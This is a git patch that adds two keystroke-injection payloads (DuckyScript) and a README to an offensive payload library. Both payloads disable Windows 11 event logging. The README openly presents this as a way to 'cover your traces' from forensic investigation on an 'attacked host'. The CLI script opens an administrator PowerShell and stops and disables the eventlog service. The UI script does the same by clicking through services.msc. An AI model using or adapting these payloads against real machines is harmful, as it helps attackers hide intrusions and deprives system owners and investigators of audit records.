From 6bae2d0cc22de198dd9a2d9b239236721229a44d Mon Sep 17 00:00:00 2001
From: maaike <telephonedochter@gmail.com>
Date: Wed, 7 Aug 2024 19:16:27 +0200
Subject: [PATCH] disable windows event logging

---
 .../disable_windows_event_logging/README.md   | 37 ++++++++++++++++++
 .../disable_windows_event_logging_UI.txt      | 39 +++++++++++++++++++
 .../disable_windows_event_logging_cli.txt     | 16 ++++++++
 3 files changed, 92 insertions(+)
 create mode 100644 payloads/library/execution/disable_windows_event_logging/README.md
 create mode 100644 payloads/library/execution/disable_windows_event_logging/disable_windows_event_logging_UI.txt
 create mode 100644 payloads/library/execution/disable_windows_event_logging/disable_windows_event_logging_cli.txt

diff --git a/payloads/library/execution/disable_windows_event_logging/README.md b/payloads/library/execution/disable_windows_event_logging/README.md
new file mode 100644
index 0000000..11edfb9
--- /dev/null
+++ b/payloads/library/execution/disable_windows_event_logging/README.md
@@ -0,0 +1,37 @@
+ 
+# Disable Windows Event Logging
+
+A script used to disable all Windows event logging on Windows 11.
+
+**Category**: Execution
+
+## Description
+
+Event logging can be used as a tool in forensics to determine what an attack entailed.
+In order to cover your traces, Windows Event Logging can be disabled. 
+These scripts demonstrate two approaches;
+- CLI based
+- UI based
+
+While the CLI based approach is more concise, requires less interaction (and therefore has fewer pitfalls) and faster, some might prefer 
+the UI based approach for demonstration purposes as it allows watching the attack play out.
+
+The CLI based approach starts an Powershell Window with administrator rights and executes two commands.
+The UI based approach clicks itself through the setting panes until it reaches the right place.
+
+
+The CLI script assumes that the currently logged in user has admin rights, if this is not the case, the admin password has to be substituted into the payload at the indicated line.
+If the UI script is used, the delay speeds may be adjusted to the (expected) speed of the attacked host. 
+
+## Getting Started
+
+### Dependencies
+
+* Windows 11 with Powershell
+* Windows Admin Permissions
+
+### Settings
+
+* Set the password for non default use (current user does not have admin rights)
+* Set delay times to your requirement
+
diff --git a/payloads/library/execution/disable_windows_event_logging/disable_windows_event_logging_UI.txt b/payloads/library/execution/disable_windows_event_logging/disable_windows_event_logging_UI.txt
new file mode 100644
index 0000000..a87c646
--- /dev/null
+++ b/payloads/library/execution/disable_windows_event_logging/disable_windows_event_logging_UI.txt
@@ -0,0 +1,39 @@
+DELAY 200
+GUI r
+DELAY 2000
+STRINGLN services.msc
+DELAY 4000
+TAB
+DELAY 2000
+STRING Windows Event Log
+DELAY 2000
+ENTER
+DELAY 1000
+TAB
+DELAY 2000
+STRING m
+DELAY 2000
+TAB
+DELAY 2000
+ENTER
+DELAY 6000
+TAB
+DELAY 2000
+TAB
+DELAY 2000
+TAB
+DELAY 2000
+TAB
+DELAY 2000
+ENTER
+DELAY 2000
+TAB
+DELAY 2000
+TAB
+DELAY 2000
+TAB
+DELAY 2000
+TAB
+DELAY 2000
+ENTER
+DELAY 500
diff --git a/payloads/library/execution/disable_windows_event_logging/disable_windows_event_logging_cli.txt b/payloads/library/execution/disable_windows_event_logging/disable_windows_event_logging_cli.txt
new file mode 100644
index 0000000..b6d9667
--- /dev/null
+++ b/payloads/library/execution/disable_windows_event_logging/disable_windows_event_logging_cli.txt
@@ -0,0 +1,16 @@
+DUCKY_LANG DE_CH
+DELAY 50
+GUI x
+DELAY 100
+STRINGLN a
+DELAY 600
+REM replace the following line with the admin password if necessary
+LEFTARROW
+DELAY 50
+ENTER
+DELAY 2000
+STRINGLN Stop-Service -Name "eventlog"
+DELAY 200
+STRINGLN Set-Service -Name "eventlog" -StartupType Disabled
+DELAY 300
+STRINGLN exit